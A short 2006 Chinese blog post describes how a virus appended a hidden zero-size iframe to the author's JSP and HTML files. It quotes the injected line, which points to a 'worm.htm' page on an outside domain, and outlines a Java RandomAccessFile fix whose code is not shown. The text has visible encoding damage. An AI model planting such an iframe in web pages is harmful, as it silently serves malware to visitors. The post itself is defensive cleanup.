修復(fù)被病毒修改的網(wǎng)頁
???? 前幾天機(jī)器中毒,開始時(shí)只是IE彈彈窗口,后來嚴(yán)重到不可以忍受以至重裝,今天打開一些J以前備份下來的JSP文件看看,每個(gè)文件最后都加上了一行:"<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>",這樣打開這些網(wǎng)頁就可能中招,再看看HTML文件也同樣遭此毒手。???????于是便開始用Java寫個(gè)小程序來修復(fù)這些文件,要高效率地修復(fù)這些文件,看來只能使用RandomAccessFile,因?yàn)槠渌腎O流都是順序讀寫的,而RandomAccessFile可以跳到指定的位置。方法很簡單,計(jì)算一下這行垃圾的起始位置,然后用空格替換之。沒什么好說的,值得注意的是寫空格時(shí),只有用randomAccessFile.writeBytes(" ")才行,其它的寫方法會(huì)寫入亂碼,待探究。
???????
?????? 下面將代碼貼上,以備忘。
























































































posted on 2006-12-20 19:23 小魚 閱讀(346) 評(píng)論(1) 編輯 收藏